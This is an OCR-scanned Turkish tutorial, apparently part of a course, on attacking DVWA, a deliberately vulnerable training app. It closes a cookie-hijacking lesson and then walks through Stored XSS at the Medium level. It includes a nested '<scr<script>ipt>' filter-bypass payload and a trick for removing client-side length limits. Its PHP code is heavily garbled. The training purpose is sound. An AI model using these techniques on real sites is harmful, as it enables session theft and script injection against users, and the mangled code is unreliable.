V Help

Son olarak pencerenin asagisindaki yesil tick isaretine tiklayin. Béylece saldirgan olarak siz
kurbanin ¢erezini kendi saldirganin tarayicisina enjekte etmis olursunuz. Bdylece saldirganin
tarayicisindan, yani Chrome'dan http://localhost/dvwa adresine gittiginiz takdirde sayfa sizi

oturum acmis gibi DVWA'nin anasayfasina yénlendirecektir. CUnkl artik kurbanin oturumunu
devralmis bulunmaktasiniz.

[ welcome :: Damn Vi x [ localhost/saldirgani % '\ Y

4 @ &% [ localhost,
i Apps @ Watch CNN Inte

T Welcome to Damn Vulnerable Web Application!

4"
Y
¢
[}y *

Instructions Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
Setup | Reset DB developers better understand the processes of securing web applications and to aid both students & teachers to

learn about web application security in a controlled class room environment.

Brute Force The aim of DVWA is to practice some of the most web vulr ility, with various diffi

with a simple straightforward interface.
Command Injection |

levels,

Artik bir saldirgan olarak kurban adina hedef sitede dilediginizi yapabilirsiniz.
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DERS 23 - STORED XSS (MEDIUM LEVEL)

Bu yazida guvenlik dizeyi Medium seviyesine yukseltiimis DVWA'da Stored XSS'e karsi ne
gibi bir glivenlik 6nlemi alindigi incelenecektir ve alinan glivenlik 6nlemine ragmen yine Stored
XSS saldirisi duzenlenebilir mi sorusuna yanit aranacaktir.

Dersin Hedefi
Hedefiniz Medium seviyesindeki glvenligi kesfedip nasil asabileceginizi 6grenmektir.

Stored XSS'e Karsi Onlem

Gecen ders nasil Stored XSS saldirisi yapilirt hem teorik hem de pratik olarak gérmustik. O
derste bizim Stored XSS saldirisi dizenleyebilmemizin nedeni asagidaki kaynak kodun
sayfada kullaniliyor olmasindan dolayiydi:

Low Level:
<?php
if( isset( %_POST[ ‘'btnsign’ 1 ) ) {
[ Get input

trim({ $_POST[ 'mtxMessage' ] );
trim{ $_POST[ "txtMame' ] );

Imessage
meszage

tname

/{ Sanitize message input
$message = stripslashes( $message );

og :l
mysql_real_escape_string( Imessage );

fmessage
[/ Sanitize name input
$name = mysql_real_escape_string( %name );

[/ Update database
;S "INSERT INTO gusstbook ( comment, name ) VALUES { 'Smessage', "fnams");";

mysql_query( Fquery ) or die{ '<prex’ . mysgl_error() . '</prex" };

$query

fresult

ffmy=sql_close();

r

5. satirdaki $message degiskeni DWVA ekranindaki ilk metin kutusunun degerini tutmaktadir.
6. satirdaki $name degiskeni ise DWVA ekranindaki ikinci meitn kutusunun (textarea'nin)
degerini tutmaktadir. 8. satirdan 13. satira kadar sanitizing, yani ayiklama islemi yapilmaktadir.
Bu ayiklama islemleri sadece SQL Injection saldirilarini énlemek igin yapiimistir. Fakat Stored
XSS saldirisi igin herhangi bir 6nlem yer aimamaktadir. iste bu ylizden gecen ders Stored XSS
saldinisinda bulunabilmigtik. Simdi glvenlik seviyesi Medium'ken ne yapilmis bir bakalim:

Medium Level:
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5 POST[ 'btnsign’ 1) ) {
1

e = trim{ %_POST[ ‘mtxMessage' ] );
= trim{ & _POST[ “txtMame' ] );

ze message input

e edr it e IR I
= =t 1p_Tags{ asddslas :?k SﬁE::nE:
= mysql_real_escape_string( %messag
= htmlspecialchars{ $message )3

)

¥
3

[/ Sanitize name input
name = str_replace{ ‘<script>', '', Tname );
e = mysql_real_escape_string( %name );
f{ Update database
g "INSERT INTO guestbook ( comment, nams )} VALUES { 'Smessage’, '$nams’ );";
mysql_query{ Fgquery ) or die( '<pre:x' . mysql_error() . "<fprex' };

_'_-_-Cl_'l'

fresult

ffmysgl_close();

E

Bu kaynak kodda ilk planda gériinen iki givenlik acigi vardir. ilki 14. satirda yer almaktadir. O
satira gore kullanicidan gelen veride eger <script> kelimesi varsa silinmektedir. Bu gorinuste
saldirganlari késeye sikistiran bir hamledir. Clnki saldirgan XSS saldirilarinda javascript kodu
kullanabilmek icin illaki <script> tag'a ihtiya¢c duyacaktir. Onun igin bu tag olmazsa olmazdir.
Fakat bundan daha énceki derslerde gordigimuz Gzere str_replace() fonksiyonu recursive
calismadi§i icin i¢ ice <script> kullanimiyla str_replace() barikati atlatilabilmektedir. Yani

str_replace()'e girmeden 6nce:

<scr<script>ipt> Buraya Javascript kodlari gelecek </script>
str_replace()'e girdikten sonra:

<script> Buraya Javascript kodlari gelecek </script>

str_replace()'den gegen veriden arta kalanlar yine <script> tag'ini olusturacak ve saldirgan
hedefine varabilmis olacaktir.

Kaynak koddaki ikinci gtivenlik agidi ise ekrandaki metin kutularina istemci tarafli karakter limiti
konmusken sunucu tarafli karakter limitinin konulmayisidir. Daha agik konusacak olursak
ekranda yer alan metin kutularina html ile karakter limiti konmusken PHP ile karakter limiti
konulmamistir. Bu bir hatadir. Cunkl istemciye yollanan her veri manipule edilebilirdir.
Dolayisiyla istemci tarafli barikatlara asla guvenilmemelidir. Hatirlarsaniz gegcen ders
textArea'nin maxlength="50" degerini maxlength="1000" yaparak karakter limitinden
kurtulmustuk ve zararli kodu kutuya sigdirabilmistik. Halbuki html'le oldugu kadar PHP ile de
karakter limiti konsaydi bu durumda saldirgan belki istemci tarafli barikati agacakti ama
sunucuyu gecemeyecekti. Bdylece gelen veri limiti astiyi icin mesela veritabanina
kaydolmayacakti. Bu ytzden yukaridaki kaynak koda en basitinden bir if - else yapisiyla limit
agildiginda uyan ver, limit saglandiginda ise veritabanina kaydet gibi kodlar eklenebilir.
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Medium seviyesinin iyi yaptigi bir is varsa o da ilk metin kutusuna uygulanan filtredir. ilk metin
kutusundan gelen veriye 9. satirda strip_tags() fonksiyonu ile kusursuz bir sanitizing (ayiklama)
islemi uygulanmaktadir. Bu fonksiyon kullanicidan gelen verideki tim html ve php tag'larini
silmektedir. Boylece saldirgan yazacagi tek bir tag'i dahi veritabanina kaydettiremeyecektir.

Sorumluluk Reddi

Bu makale ve bu makalenin yer aldid1 makale zincirinde anlatilan her bir teknigin izinsizce bir sisteme
denenmesi sonucu tespit edimeniz durumunda 5 ila 10 yil hapis cezasina carptinlabilecedinizi ve
aynyetten yaptidimiz hasara oranla maddi tazminat cezasina carptinilabilecedinizi  bildiginizi
varzayryorum. Tom bunlar bir yana sicilinizi kirletmeniz sonucunda bu alanda ne kadar bilgili
olursaniz olun “glvenilmez” damgas! yiyecedinizden Tlrkive'de siber glvenlik sektarind unutmak
mechuriyetinde kalacajinizi da bildidinizi varsayiyorum. Bu makale ve bu makalenin yer aldidi
makale zincirinde editim amach anlatilan tekniklerin kot yonde kullaniimasindan tarafim sorumiu
tutulamaz. Bu bilgiler sadece ve sadece Glkemizde siber glvenlik alanindaki eleman eksikligini
gidermek maksadiyla paylasiimalktadir. Makale icerisinde yer alan bazi kelime kaliplannin {(&m;
"sizmak istedigimiz / saldirmak istedifimiz" gibi) sadece ve sadece bir sizma testci (pentester) bakis
agisindan ibaret oldudunu beyan etmek isterim.
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YARARLANILAN KAYNAKLAR

e http://searchsecurity.techtarget.com/definition/brute-force-cracking

e http://blog.10degres.net/dvwa-csrf/

e https://www.owasp.org/index.php/Testing for_Local File Inclusion
https://github.com/ethicalhack3r/DVWA/issues/5
http://dev.mysqgl.com/doc/refman/5.7/en/select-into.html
https://pentestlab.wordpress.com/2012/11/24/owning-the-database-with-sglmap/
https://www.youtube.com/watch?v=TKUU2PE9Bdc

e https://www.owasp.org/index.php/Command _Injection
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